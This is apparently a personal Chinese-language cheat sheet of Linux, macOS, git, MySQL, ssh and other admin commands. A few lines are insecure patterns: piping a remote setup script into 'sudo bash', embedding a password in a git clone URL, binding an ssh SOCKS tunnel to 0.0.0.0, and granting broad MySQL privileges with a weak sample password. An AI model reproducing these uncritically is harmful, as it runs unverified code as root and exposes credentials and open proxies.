git branch 不要分页 设置git branch不分页显示1
git config --global pager.branch false
使用git合并特定的commit 比如要在master分支上合并其他分支的commit,commit id是37c89cc, 则命令是:1
2
git checkout master
git cherry-pick 37c89cc
本地同步远端已删除分支 参考: https://stackoverflow.com/questions/5751582/fetch-from-origin-with-deleted-remote-branches 使用git fetch -p
来同步远端已经删除的分支。-p
就是--prune
修剪的意思。
Github中clone私有仓库 Github中,对于私有仓库如果直接git clone
, 会提示fatal: repository 'https://github.com/xxxxxx/yyyyyy.git/' not found
有两个方法可以用于克隆Github上的私有仓库
使用ssh key方式
使用显式的用户名密码的https方式
Github中使用账号密码方式clone私有仓库 在git clone
命令的url中,添加上github的用户名和密码即可。1
git clone https://username:password@github.com/xxxxxx/yyyyyy.git
Github中使用ssh key方式clone私有仓库 在~/.ssh/config
中配置github中使用的key, 类似如下1
2
3
4
Host "github.com"
HostName "github.com"
User "username"
IdentityFile ~/.ssh/id_rsa_for_github
接下来就可以clone代码了1
git clone https://github.com/xxxxxx/yyyyyy.git
Reference
查看git中所有分支的日志 使用命令git log --all
来查看所有分支的提交日志
在所有的branch中搜索 方法一 使用命令git grep "search-words" $(git rev-list --all)
来在所有的branch的commit中进行搜索。
该方法有一个问题,当git rev-list --all
列出的commit很多时,可能会报-bash: /usr/bin/git: Argument list too long
的错误
方法二 使用命令git rev-list --all | xargs git grep <expression>
来搜索,则不会有Argument list too long
的问题
搜索限制在某个目录下的方法 以目录lib/util
为例:1
git grep <regexp> $(git rev-list --all -- lib/util) -- lib/util
两个命令中都带了lib/util
,因为rev-list
只是将有lib/util
变更的revisions全部找出来,所以还需要在git grep
中添加-- lib/util
将搜索限定在找出来的revisions
中的路径lib/util
下。
其他用法 还有一些其他的搜索方法,参考How to grep (search) committed code in the Git history
git diff 不要分页 使用命令git --no-pager diff
设置git diff
时不要分页。
查找git中文件是否被ignore以及是被哪个配置文件ignore的 使用git check-ignore *
来查找目录下是否有被ignore的文件。 使用git check-ignore -v *
来查找目录下ignore的文件,以及是被哪个配置文件ignore的
例子:1
2
3
4
5
$ git check-ignore *
node_modules
$ git check-ignore -v *
.gitignore:37:/node_modules node_modules
$
例子中可以看到当前目录node_modules是被git ignore的,是被当前目录下的.gitignore
文件的37行的配置/node_modules
给ignore的。
如果要检查单个文件或者目录是否被ignore了,那么将上述命令的*
换为对应的文件即可, 如:1
2
3
$ git check-ignore -v node_modules/ Gemfile
.gitignore:37:/node_modules node_modules/
$
可见Gemfile
没有被ignore, node_modules/
被文件.gitignore
设置为ignore了。
参考:
git命令获取当前分支 使用git symbolic-ref --short -q HEAD
来获取当前分支
参考:
获取git仓库中所有的branch 命令:1
2
3
git branch -r | grep -v '\->' | while read remote; do git branch --track "${remote#origin/}" "$remote"; done
git fetch --all
git pull --all
一个完整的clone所有分支的例子1
git clone ssh://user_name@git.xxxx.com/git/repository.git && cd repository && git branch -r | grep -v '\->' | while read remote; do git branch --track "${remote#origin/}" "$remote"; done && git fetch --all && git pull --all && cd ..
参考:
查找文件记录(包含已删除的文件) 如下命令可以用来查找文件的提交记录,即使文件已经被删除了。
指定具体文件路径查找,适用于还记得文件路径的情况
1
git log --all --full-history -- <path-to-file>
只显示最后一个和文件相关的commit
1
git log --all --full-history -1 -- <path-to-file>
模糊查找,适用于只记得部分文件名的情况
1
git log --all --full-history -- "**/thefile.*"
使用git log查找出文件所对应的commit后,使用git show显示具体commit情况
1
git show <SHA> -- <path-to-file>
如果想要具体的文件,那么git checkout <SHA>
临时切到指定分支查看对应的文件,
1
git checkout <SHA> -- <path-to-file>
如果是查找删除的文件,那么<SHA>
后面需要还有一个脱字符^
使用<SHA>^
, 因为当前<SHA>
中的文件已经被删除了, 需要切换到前一个版本1
git checkout <SHA>^ -- <path-to-file>
Git从远端分支checkout 如果只有一个remote, 直接git checkout branch_name
就行。
如果有多个remote,则需要显示指定remote1
git checkout -b fix-failing-tests origin/fix-failing-tests
参考:
Macos下tree显示中文 1
2
3
4
5
# 安装tree
brew install tree`
# 中文不乱码加参数 -N
tree -N
CentoOS 7 最小化安装后可能需要的一些命令 1
2
3
4
5
yum install wget curl
yum install unzip
yum install tree
yum install net-tools
yum install lszrz
CentOS 7 中命令行UI编辑网口信息的命令 1
2
3
$ yum install NetworkManager-tui
$ nmtui
CentOS 7中命令行安装GUI组件 1
2
3
4
5
6
# 安装组件
yum groupinstall "GNOME Desktop" "Graphical Administration Tools"
# 更改系统运行级别
ln -sf /lib/systemd/system/runlevel5.target /etc/systemd/system/default.target
# 重启
reboot
MacOS ffplay只有声音没有图像 如果rtmp地址加了单引号,ffplay会偶尔抽风只播放声音而没有视频, 去掉单引号或者使用双引号代替1
2
3
4
5
6
# 可能会抽风,没有图像,只能解析音频信号
ffplay 'rtmp://192.168.187.128/live/room8878'
# 去掉单引号或换用双引号,没发现过问题
ffplay rtmp://192.168.187.128/live/room8878
ffplay "rtmp://192.168.187.128/live/room8878"
grep 中将binary file当做文本 grep加上-a
参数,就可以将binary file当做text来对待.man grep
1
2
-a, --text
Process a binary file as if it were text; this is equivalent to the --binary-files=text option.
grep 搜索非ASCII字符 命令如下,可用于搜索中文等
1
grep --color='auto' -P -n '[^\x00-\x7F]' filename
其中-P
是以perl模式执行grep
grep 搜索控制字符和非可打印字符 搜索控制字符,比如^M
,`^H
等,其中^M
需要通过ctrl + v + m
来输出。1
grep '[[:cntrl:]]' filename
搜索非可打印字符的命令如下:1
grep '[^[:print:]]' filename
grep 只列出匹配的文件名 使用参数-l
解释如下:1
2
3
4
5
-L, --files-without-match
Suppress normal output; instead print the name of each input file from which no output would normally have been printed. The scanning will stop on the first match.
-l, --files-with-matches
Suppress normal output; instead print the name of each input file from which output would normally have been printed. The scanning will stop on the first match. (-l is specified by POSIX.)
grep搜索排除目录 使用--exclude-dir
参数,如果有多个目录要排除,那么可以添加多个--exclude-dir
参数:
1
$ grep -nri 'nginx' ./ --exclude-dir=02_codes --exclude-dir=04_tickets
grep 搜索隐藏目录 使用grep -r search * .*
来搜索所有的目录,包含隐藏目录和隐藏文件。
grep 如何同时搜索软连接目录内的内容 grep中遍历目录进行搜索,之前一直习惯使用-r
来进行搜索,但如果搜索的目录中,有子目录是链接,则-r
参数不会搜索这些链接的子目录。 如果想要搜索这些链接子目录,则需要使用-R
参数。 GNU grep中,对-r
和-R
两个参数的说明。1
2
3
4
5
-r, --recursive
Read all files under each directory, recursively, following symbolic links only if they are on the command line. Note that if no file operand is given, grep searches the working directory. This is equivalent to the -d recurse option.
-R, --dereference-recursive
Read all files under each directory, recursively. Follow all symbolic links, unlike -r.
参考: Terminal: grep recursive - don’t search in symlink contents
MacOS下Betterzip quicklook不起作用 BetterZipQL被集成到BetterZip中了,因此brew在pull request 41954 中删除了BetterZipQL。 需要使用brew cask install betterzip
来安装BetterZip。BetterZip是收费软件,30天免费试用。但官网上说Quick Look功能在试用期结束后,还是可以免费使用。如果安装完成后,发现quicklook功能没起作用,记得需要先在Application中打开一次BetterZip,别问我是怎么知道的。
MacOS下QuickLook的路径 全局目录: /Library/QuickLook/
用户目录: ~/Library/QuickLook/
CentOS 7下安装lspci 1
2
3
4
5
# 安装lspci
sudo yum install pciutils
# 更新PCI ID list
sudo update-pciids
rsync命令 1
2
3
4
5
# 密码方式
rsync -P -a -z -e ssh /from/dir/ username@hostname:/to/dir/
# identity file免密方式
rsync -Pav -e "ssh -i $HOME/.ssh/somekey" username@hostname:/from/dir/ /to/dir/
CentOS中启用epel repository 1
yum -y install epel-release
CentOS中systemctl常用命令小结 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# 启动服务
systemctl start nginx
# 停止服务
systemctl stop nginx
# 重启服务
systemctl restart nginx
# reload服务
systemctl reload nginx
# 列出服务状态
systemctl status nginx
# 开机启动服务类似于 chkconfig service on
systemctl enable nginx
# 开机停止服务,类似于chkconfig service off
systemctl disable nginx
# 查看服务是否开机启动
systemctl is-enabled nginx
# 查看所有服务状态
systemctl list-unit-files --type=service
# 查看当前运行的服务
systemctl list-units --type service
Split切割文件 1
2
# 按行切割
split -l 300 file.txt new_prefix
Gem切换源 Gem 切换为RubyChina https://gems.ruby-china.com/ ruby环境1
2
3
4
$ gem sources --add https://gems.ruby-china.com/ --remove https://rubygems.org/
$ gem sources -l
https://gems.ruby-china.com
# 确保只有 gems.ruby-china.com
Gemfile和Bundle情况, 修改Gemfile1
source 'https://rubygems.org/'
rvm切换ruby安装源 1
2
3
4
5
# 用户级别
echo "ruby_url=https://cache.ruby-china.com/pub/ruby" >> ~/.rvm/user/db
# CentOS下系统级别
echo "ruby_url=https://cache.ruby-china.com/pub/ruby" >> /usr/local/rvm/user/db
gitignore例子 1
2
# Ignore Mac DS_Store files
.DS_Store
测试NTP服务器 1
ntpdate -q 1.cn.pool.ntp.org
CentOS下安装nslookup 1
2
yum install bind-utils
yum provides '*bin/nslookup'
列出Linux下目录的文件数 1
find DIR_NAME -type f | wc -l
find排除指定目录 使用参数-not -path "./xxx/*"
来排除目录xxx下的文件
find列出某个目录下文件列表和大小 1
find ./ -type f -exec du -b {} + | awk '{print $2 "\t" $1}' | sort -k1
列出目录下不包含xxx目录的文件列表和大小1
find ./ -not -path "./xxx/*" -type f -exec du -b {} + | awk '{print $2 "\t" $1}' | sort -k1
按照文件修改日期查找文件 find
命令可使用参数-mtime
来搜索某个时间段的文件。 man中的解释如下:1
2
3
-mtime n
File's data was last modified n*24 hours ago.
See the comments for -atime to understand how rounding affects the interpretation of file modification times.
n可以带正负号,-n指n天以内,+n指n天以前 以4天为例,用下图来讲解不带符号,正号和负号的用法:1
2
3
4
5
6
7
8
9
10
4
<--->
-4
+------------------------->
+4
<-------+----+----+
| | | | | | | |
+------|----|----|---|---|---|---|---|---------->
| | | | | | | |
7 6 5 4 3 2 1 now
其中:
+4代表大于等于5天前的文件
-4代表小于等于4天内的文件
4代表4~5那一天的文件
参考:
Linux下几个获取出口公网IP的命令 1
2
3
4
curl ipinfo.io
wget -qO- -t1 -T2 ipv4.icanhazip.com
curl myip.ipip.net
dig TXT +short o-o.myaddr.l.google.com @ns1.google.com | awk -F'"' '{ print $2}'
获取磁盘和CPU使用率的命令 1
2
3
4
5
6
7
8
9
10
## 获取CPU使用率
top -b -n2 | grep 'Cpu(s)' | tail -1 | awk '{print $2 + $4}'
或
top -bn 2 -d 0.01 | grep '^%Cpu' | tail -n 1 | gawk '{print $2+$4+$6}'
## 获取磁盘使用率
df -H --output=source,pcent 2>/dev/null | grep -vE '^Filesystem|tmpfs|cdrom' | while read file_system used
do
echo "..."
done
top -b参数是有bug的,第一次显示的cpu数据是错误的, 要用第二次的输出来获取CPU的实际使用率。 top的bug说明: https://askubuntu.com/a/399966 以及Bug 174619 - top reports wrong values for CPU(s) in batch mode
解决停止操作后SSH连接断开的办法 在ssh命令中添加-o ServerAliveInterval=10
参数,每隔10s向服务器发送心跳包。1
ssh -o ServerAliveInterval=10 user@remote-ssh-server-ip
本地转义HTML的几个命令 1
2
3
4
5
Perl 版本
cat foo.html | perl -MHTML::Entities -pe 'decode_entities($_);'
Python 3 版本
cat foo.xml | python3 -c 'import html, sys; [print(html.unescape(l), end="") for l in sys.stdin]'
来自stackoverflow Bash script to convert from HTML entities to characters
EB手动打包时包含隐藏目录 进入源文件所在目录中工作1
$ zip ../myapp.zip -r * .[^.]*
使用Git打包
1
2
# 创建当前分支上最新 Git 提交的 ZIP 存档
$ git archive --format=zip HEAD > <myapp>.zip
Linux下mail如何添加多个附件 mailx 命令中使用多个-a选项1
$ mailx -s 'Few files attached' -a file1.txt -a file2.txt someone@some.com
https://stackoverflow.com/questions/14473732/attaching-more-than-2-files-in-mail-in-unix
top命令 指定刷新频率可以用-d
参数
更改top显示排列方式的办法 You can interactively choose which column to sort on
press Shift
+f
to enter the interactive menu
press the up
or down
arrow until the %MEM
choice is highlighted
press s
to select %MEM
choice
press enter
to save your selection
press q
to exit the interactive menu
按进程的CPU使用率排序 运行top命令后,键入大写P
按进程的内存使用率排序 运行top命令后,键入大写M。
使用ssh-keygen从私钥中获取公钥 命令如下:1
ssh-keygen -y -f id_rsa_for_passphrase
获取key的fingerprint 命令为ssh-keygen -lf keyfile
, 例子如下:1
2
3
$ ssh-keygen -lf xxx.pub
2048 SHA256:MYSd7HJ9LKckp9MOs94ykNmc1AlifpBpBpp35qJQ+9Y carlshen@carl-3.local (RSA)
$
设置ssh tunnel 使用ssh 设置转发tunnel1
2
3
4
5
# -N 不执行远程命令
# -f Requests ssh to go to background just before command execution.
# -D 指定绑定地址和端口 [bind_address:]port
# 将来着本地0.0.0.0:10086的流量转发到指定的host中
ssh -f -N -D 0.0.0.0:10086 -i id_rsa_key user@host
awk awk中去除字段的前后空格 1
echo " 300173226 | news-icon " | awk -F '|' '{ print "src is ["$1"]["$2"]"}; {gsub(/^[ \t]+/,"",$2);gsub(/[ \t]+$/,"",$2);gsub(/^[ \t]+/,"",$1);gsub(/[ \t]+$/,"",$1); print "processed result is ["$1"]["$2"]"};'
awk中输出单引号, 使用\x27 1
awk '{print "\x27" $2 "\x27"}'
awk 3.x支持Interval expressions {n,m} awk 3.x中默认不支持Interval expressions,如果需要开启,需要添加--re-interval
参数, 4.0以上版本默认是开启的。1
awk --re-interval -f xxx.awk
参考:
awk执行命令并获取返回 使用system()
可以执行命令,但是没法获取返回值。要获取命令的返回值,可以使用cmd | getline
的方式来。1
2
3
4
5
6
awk 'BEGIN {
cmd = "date"
cmd | getline mydate
print "date is: ", mydate
close(cmd)
}'
参考:
CentOS下获取内存使用率 1
free | grep 'buffers/cache' | awk '{printf "%.2f", $3/($3+$4)*100}'
nginx一些常见配置选项 X-Frame-Options配置1
2
3
4
5
6
7
# 允许某些domain引用
add_header X-Frame-Options "ALLOW-FROM http://example.com/,https://example.com/";
# 允许同源引用
add_header X-Frame-Options "SAMEORIGIN";
# 拒绝引用
add_header X-Frame-Options "DENY";
# 应用层面删除header或者不加header就是允许全部域名引用
CSP: frame-ancestors1
2
# 设置可被iframe嵌入的网址,如有多个源,使用空格隔开
Content-Security-Policy: frame-ancestors www.baidu.com www.google.com;
使用script切换当前目录 使用bash执行shell script时,会启动一个子shell来执行该脚本。因此在脚本中的目录变换不会影响到父进程。 使用source
script.sh的方式,可以在当前进程中执行script.sh的内容,以此来切换当前目录等。
使用ssh-copy-id拷贝公钥 将id_rsa.pub的公钥拷贝到目标主机对应账号的~/.ssh/authorized_keys
中, 如果目录和文件不存在,会自动创建,并设置正确的权限。1
ssh-copy-id -i ./id_rsa root@192.168.187.172
虚拟机中ssh登录慢 虚拟机中ssh登录Linux有时会慢,解决办法: 把文件/etc/ssh/sshd_config
中的#UseDNS yes
改为UseDNS no
. 再重启sshd服务:systemctl restart sshd
。
Linux Watch重复运行命令 watch是Linux下周期性执行某个命令的程序。以全屏模式来显示执行结果。-n
可以设置显示间隔。 参数:
-n:指定指令执行的间隔时间(秒); -d:高亮显示指令输出信息不同之处; -t:不显示标题。1
2
3
4
5
# 每隔一秒高亮显示网络链接数的变化情况
watch -n 1 -d netstat -ant
# 高亮循环显示系统启动时间
watch -d uptime
passenger获取passenger_root和passenger_ruby 获取passenger_root的值1
2
3
# passenger-config --root
/usr/local/rvm/gems/ruby-2.3.8/gems/passenger-6.0.4
#
获取passenger_ruby的值1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# passenger-config --ruby-command
passenger-config was invoked through the following Ruby interpreter:
Command: /usr/local/rvm/gems/ruby-2.3.8/wrappers/ruby
Version: ruby 2.3.8p459 (2018-10-18 revision 65136) [x86_64-linux]
To use in Apache: PassengerRuby /usr/local/rvm/gems/ruby-2.3.8/wrappers/ruby
To use in Nginx : passenger_ruby /usr/local/rvm/gems/ruby-2.3.8/wrappers/ruby
To use with Standalone: /usr/local/rvm/gems/ruby-2.3.8/wrappers/ruby /usr/local/rvm/gems/ruby-2.3.8/gems/passenger-6.0.4/bin/passenger start
## Notes for RVM users
Do you want to know which command to use for a different Ruby interpreter? 'rvm use' that Ruby interpreter, then re-run 'passenger-config about ruby-command'.
#
# passenger-config --ruby-command | grep 'To use in Nginx' | awk -F ':' '{print $2}'
passenger_ruby /usr/local/rvm/gems/ruby-2.3.8/wrappers/ruby
#
Reference:
Rvm 相关小命令 1
2
# 清理rvm缓存文件
rvm cleanup all
CentOS 7中显示和修改时区 显示当前系统时区命令timedatectl status
设置当前时区为北京时间timedatectl set-timezone Asia/Shanghai
列出所有支持的时区timedatectl list-timezones
修改CentOS 7中主机名字 修改主机名命令: hostnamectl set-hostname newname
CentOS 7中安装node 10.x CentOS 7中base源的node版本是6.x,但很多新nmp包都需要8.x以上版本,所以base中的node有点老旧了。 下面记录在CentOS 7中从NodeSource安装node 10.x的步骤1
2
$ curl –sL https://rpm.nodesource.com/setup_10.x | sudo bash -
$ sudo yum install nodejs
安装完毕后,可使用node -v
和npm -v
查看node和npm的版本
CentOS 7中安装yarn 1
2
3
$ curl --silent --location https://dl.yarnpkg.com/rpm/yarn.repo | sudo tee /etc/yum.repos.d/yarn.repo
$ sudo yum install yarn
$ yarn --version
让终端走代理的方法 设置http,https代理1
export http_proxy="http://proxyAddress:port"; export HTTP_PROXY="http://proxyAddress:port"; export https_proxy="http://proxyAddress:port"; export HTTPS_PROXY="http://proxyAddress:port"
设置socks5代理:1
export ALL_PROXY=socks5://proxyAddress:port
openssl查看证书的几个命令 1
2
3
4
5
6
7
8
# 查看KEY信息
$ openssl rsa -noout -text -in server.key
# 查看CSR信息
$ openssl req -noout -text -in server.csr
# 查看证书信息
$ openssl x509 -noout -text -in ca.crt
crontab中如何设置奇数天和偶数天运行 1
2
3
4
5
# Will only run on odd days:
0 0 1-31/2 * * /path/to/script
# Will only run on even days:
0 0 0-30/2 * * /path/to/script
Reference: How can I tell cron to run a command every other day (odd/even)
Shell大小写转换 1
echo $name | tr '[:lower:]' '[:upper:]'
或者1
echo $name | tr '[a-z]' '[A-Z]'
du统计隐藏目录的大小 du 统计目录大小的一些用法。1
2
3
4
5
6
7
8
9
10
11
# 统计非隐藏文件/目录的大小
du -sh *
# 统计隐藏文件/目录的大小
du -sh .[!.]*
# 统计全部文件/目录的大小
du -sh .[!.]* *
# 统计全部文件/目录的大小, 并按照大小排序
du -sch .[!.]* * |sort -h
du排除某些目录的用法 使用--exclude
参数来排除某些目录1
du -sh ./* --exclude=sql_dump
CentOS下网络使用工具
如果yum源中没有, 就先安装epel源yum -y install epel-release
mysql dump数据库 mysql dump数据库命令1
mysqldump -uusername --databases databasename -p > databasename_`date +%Y%m%d_%H%M%S`.sql
mysql 恢复命令1
mysql -uusername databasename -p < databasename.sql
mysql dump全部表结构和索引1
mysqldump -uusername -d databasename --compact --no-data -p > databasename.sql
mysql小命令 手动设置表的AUTO_INCREMENT1
mysql> alter table table_name AUTO_INCREMENT = 100;
统计每个数据库的大小的sql1
2
3
4
SELECT table_schema "DB Name",
ROUND(SUM(data_length + index_length) / 1024 / 1024, 1) "DB Size in MB"
FROM information_schema.tables
GROUP BY table_schema;
mysql将值转换为float 使用mysql的DECIMAL[(M[,D])]
方法, 可将值转为小数类型,转换对象可以是数值,可以是字符串
例子:1
2
3
4
5
6
7
8
9
mysql> select CAST(12345 AS DECIMAL(10,2)) as '12345', CAST('56789' AS DECIMAL(10,2)) as '\"56789\"', CAST('4.5s' AS DECIMAL(10,2)) as '\"4.5s\"', CAST('s4.5' AS DECIMAL(10,2)) as '\"s4.5\"';
+----------+----------+--------+--------+
| 12345 | "56789" | "4.5s" | "s4.5" |
+----------+----------+--------+--------+
| 12345.00 | 56789.00 | 4.50 | 0.00 |
+----------+----------+--------+--------+
1 row in set, 1 warning (0.00 sec)
mysql>
给Mysql数据库添加unique key的步骤 对已经有数据的表添加unique key的步骤
检查数据库中字段是否有重复的值
1
2
3
4
5
-- Script 1
select fooColumn, count(*) as cnt
from barTable
group by fooColumn
having count(*) > 1
如果有重复的值,需要选出重复的值,进行处理
1
2
3
4
5
-- Script 2 - 选出有重复值的记录
select * from barTable where fooColumn = <the selected non unique value>
-- Script 3 - 处理重复记录的值
update barTable set fooColumn = <a new unique value> where barTableId = <an existing unique value>;
创建新的unique key
1
create unique index idx_unique_fooColumn on barTable(fooColumn);
如果原来字段有单独的索引的话,删除旧的索引
1
drop index idx_old_fooColumn on barTable;
参考: How do you change a non-unique index to a unique index?
CentOS 7上安装mysql的简要步骤 步骤如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 安装mysql
wget https://dev.mysql.com/get/mysql80-community-release-el7-3.noarch.rpm
md5sum mysql80-community-release-el7-3.noarch.rpm
yum localinstall mysql80-community-release-el7-3.noarch.rpm
yum install mysql-community-server
yum install mysql-community-devel
systemctl start mysqld
systemctl status mysqld
# 找临时密码
grep 'temporary password' /var/log/mysqld.log
# 修改密码
mysql_secure_installation
- 输入新的root密码
- 启动密码验证插件
- 密码强度选中等或强
- Remove anonymous users - YES
- Disallow root login remotely - N
- Remove test database and access to it - Y
- Reload privilege tables now - Y
# 测试Mysql
mysqladmin -u root -p version
# 添加账户carl在IP为172.25.55.101上的访问
CREATE USER 'carl'@'172.25.55.101' IDENTIFIED BY 'P@ssword';
GRANT ALL PRIVILEGES ON *.* TO 'carl'@'172.25.55.101' WITH GRANT OPTION;
CentOS 7删除老旧的mysql并重新安装的步骤
删除老旧的mysql
1
yum remove mysql mysql-server
移除mysql的数据目录
1
mv /var/lib/mysql /var/lib/mysql.bak
重新安装mysql
1
yum install mysql mysql-server
tar排除固定目录 使用--exclude=
参数来排除目录,如果有多个目录需要排除,就使用多个--exclude=
。 记住目录后面不能加/
, 否则目录还是会被tar打包
例子:1
$ tar czvf ~/tmp/info.tar.gz --exclude=test_on_20180827 ./
不解压查看tar.gz中的文件列表
tar解压文件owner属性 关于解压出的文件的拥有者(owner)属性,有两个参数1
2
3
4
--no-same-owner
extract files as yourself (default for ordinary users)
--same-owner
try extracting files with the same ownership as exists in the archive (default for superuser)
对超级用户来说,默认是--same-owner
模式,tar包中原文件是什么解压出来就是什么。 对普通用户来说,默认是--no-same-owner
模式,解压出来的文件的所有者默认是当前用户。
例子:1
2
tar --no-same-owner -xzvf dist_ondeck.tar.gz
tar --same-owner -xzvf dist_ondeck.tar.gz
tar解压到指定目录 使用-C
来指定解压目录, -C
参数说明:1
2
-C, --directory=DIR
change to directory DIR
例子:1
2
# 将dist_ondeck.tar.gz中的文件解压至./ondeck目录中
tar --no-same-owner -xzvf dist_ondeck.tar.gz -C ./ondeck
不解压查看zip中的文件列表 只要使用less 文件名即可,less原生就支持zip文件的查看
Linux下查看网卡速率 使用ethtool命令查看网速信息。Supported link modes
中表示网卡支持的速率。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# ethtool em1
Settings for em1:
Supported ports: [ TP ]
Supported link modes: 10baseT/Half 10baseT/Full
100baseT/Half 100baseT/Full
1000baseT/Half 1000baseT/Full
Supported pause frame use: No
Supports auto-negotiation: Yes
Supported FEC modes: Not reported
Advertised link modes: 10baseT/Half 10baseT/Full
100baseT/Half 100baseT/Full
1000baseT/Half 1000baseT/Full
Advertised pause frame use: Symmetric
Advertised auto-negotiation: Yes
Advertised FEC modes: Not reported
Link partner advertised link modes: 10baseT/Half 10baseT/Full
100baseT/Half 100baseT/Full
1000baseT/Half 1000baseT/Full
Link partner advertised pause frame use: No
Link partner advertised auto-negotiation: Yes
Link partner advertised FEC modes: Not reported
Speed: 1000Mb/s
Duplex: Full
Port: Twisted Pair
PHYAD: 1
Transceiver: internal
Auto-negotiation: on
MDI-X: on
Supports Wake-on: g
Wake-on: d
Current message level: 0x000000ff (255)
drv probe link timer ifdown ifup rx_err tx_err
Link detected: yes
#
vim中查看识别的文件类型 命令如下:
markdown文件显示如下:1
2
filetype=markdown
Last set from ~/.vimrc line 1063
vim中ESC失效问题 不知道装的哪个插件,有时候会导致ESC失效,按ESC会输出^M
此时可以先Ctrl + c, 然后就可以正常使用了。
vim中文本tab转空格 .vimrc
中配置tab设置1
2
3
4
5
6
set tabstop=4 " tabstop 表示一个 tab 显示出来是多少个空格的长度,默认8
set softtabstop=4 " softtabstop 表示在编辑模式的时候按退格键的时候退回缩进的长度,当使用 expandtab 时特别有用
set expandtab " 当设置成 expandtab 时,缩进用空格来表示,noexpandtab 则是用制表符表示一个缩进
set autoindent " 自动缩进
set cindent " 自动缩进补充
set shiftwidth=4 " 自动缩进空白字符个数
在’:’冒号模式下输入如下命令,即可将tab转为空格。
vim中快速产生递增数列 在vim命令行模式下(普通模式下按:进入),输入下面这条命令
注意:默认是从文件最后一行往下递增!
iTerm2 分屏快捷键 新建tab: command + t 新建window: command + n tab间切换: command + 数字键(9表示左右一个tab) tab间切换: command + 方向键 同一tab垂直分屏: command + d 同一tab水平分屏: comamnd + shift + d 最近使用的分屏间切换: comamnd + ]和command + [ tab间切换: command + option + 方向键
iTerm2 如何发送命令到所有窗口 iTerms给多个Tab同时发送命令。Command+Shift+i
,之后输入命令,enter
Macos下安装OpenJDK 使用brew安装openJDK1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ brew reinstall openjdk
==> Downloading https://homebrew.bintray.com/bottles/openjdk-14.0.1.mojave.bottle.tar.gz
Already downloaded: /Users/carlshen/Library/Caches/Homebrew/downloads/44add4279f37d89a5cd5e80a8776dac90b324b06512be00eaf3e186675c6561a--openjdk-14.0.1.mojave.bottle.tar.gz
==> Reinstalling openjdk
==> Pouring openjdk-14.0.1.mojave.bottle.tar.gz
==> Caveats
For the system Java wrappers to find this JDK, symlink it with
sudo ln -sfn /usr/local/opt/openjdk/libexec/openjdk.jdk /Library/Java/JavaVirtualMachines/openjdk.jdk
openjdk is keg-only, which means it was not symlinked into /usr/local,
because it shadows the macOS `java` wrapper.
If you need to have openjdk first in your PATH run:
echo 'export PATH="/usr/local/opt/openjdk/bin:$PATH"' >> /Users/carlshen/.bash_profile
For compilers to find openjdk you may need to set:
export CPPFLAGS="-I/usr/local/opt/openjdk/include"
==> Summary
🍺 /usr/local/Cellar/openjdk/14.0.1: 634 files, 319MB
$
设置系统java来使用openJDK1
sudo ln -sfn /usr/local/opt/openjdk/libexec/openjdk.jdk /Library/Java/JavaVirtualMachines/openjdk.jdk
Linux shell中打印有颜色的字体 参考自: Printing a colored output
输出带颜色的字 Colors for text are represented by color codes, including, reset = 0, black = 30, red = 31, green = 32, yellow = 33, blue = 34, magenta = 35, cyan = 36, and white = 37.1
2
# 打印红色字体, 其中\e[1;31m是设置红色,\e[0m是还原颜色
echo -e "\e[1;31m This is red text \e[0m This is reset."
输出带颜色背景的字 For a colored background, reset = 0, black = 40, red = 41, green = 42, yellow = 43, blue = 44, magenta = 45, cyan = 46, and white=47, are the commonly used color codes.1
2
# 打印红色背景的字体,
echo -e "\e[1;41m 这是红色背景的字\e[0m 恢复原背景"
Mac下貌似不起作用。Mac下原生的echo太原始了。
统计代码的小工具 cloc 是用于统计代码的一个小工具。 命令的安装方法1
2
3
4
5
6
7
8
9
10
11
12
13
npm install -g cloc # https://www.npmjs.com/package/cloc
sudo apt install cloc # Debian, Ubuntu
sudo yum install cloc # Red Hat, Fedora
sudo dnf install cloc # Fedora 22 or later
sudo pacman -S cloc # Arch
sudo emerge -av dev-util/cloc # Gentoo https://packages.gentoo.org/packages/dev-util/cloc
sudo apk add cloc # Alpine Linux
doas pkg_add cloc # OpenBSD
sudo pkg install cloc # FreeBSD
sudo port install cloc # Mac OS X with MacPorts
brew install cloc # Mac OS X with Homebrew
choco install cloc # Windows with Chocolatey
scoop install cloc # Windows with Scoop
Docker方式运行1
docker run --rm -v $PWD:/tmp aldanial/cloc -- cloc /tmp
FFMPEG从HLS流转换为MP4 来自: FFMPEG mp4 from http live streaming m3u8 file? 1
ffmpeg -i http://.../playlist.m3u8 -c copy -bsf:a aac_adtstoasc output.mp4
FFMPEG 将gif转为mp4 使用ffmpeg将gif转为mp4, 方便查看中间的内容。1
ffmpeg -f gif -i input.gif output.mp4
you-get如何使用cookie you-get
使用-c
可以指定cookie文件,来下载登录视频。 MacOS下可以使用firefox的cookie, 命令如下:1
you-get -c ~/Library/Application\ Support/Firefox/Profiles/xxxxxxxx.default/cookies.sqlite 'https://v.qq.com/x/cover/divl44zx7b2h40k/k00261fum7u.html'
判断某个PID是否存在 使用ps -p
来判断进程id是否存在。1
2
3
4
5
output=$(ps -p "$pid")
if [ "$?" -eq 0 ]; then
echo "Found"
echo "$output"
fi
yum 命令小结 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
# 安装yum-config-manager
yum install yum-utils
# 查看yum repository
yum repolist [enabled|disabled|all]
# 启用某个yum repository
1. yum-config-manager --enable repository_name # 或者到
2. 到/etc/yum.repos.d目录下,找到要启动的repository的文件,修改enabled字段为1
# 禁用某个yum repository
1. yum-config-manager --disable repository_name
2. 到/etc/yum.repos.d目录下,找到要启动的repository的文件,修改enabled字段为0
# yum安装
yum install ftp
# yum更新
yum update ftp
# yum删除包
yum remove ftp
# yum 列出包
yum list ftp # 某个包
yum list installed # 列出已经安装的包
# 搜索某个包
yum search ftp
# 查看包的信息
yum info ftp
# 查看可更新的包
yum check-update
# yum group 相关
yum grouplist # 列出所有组
yum groupinstall '虚拟化主机' # 按组安装,支持中文
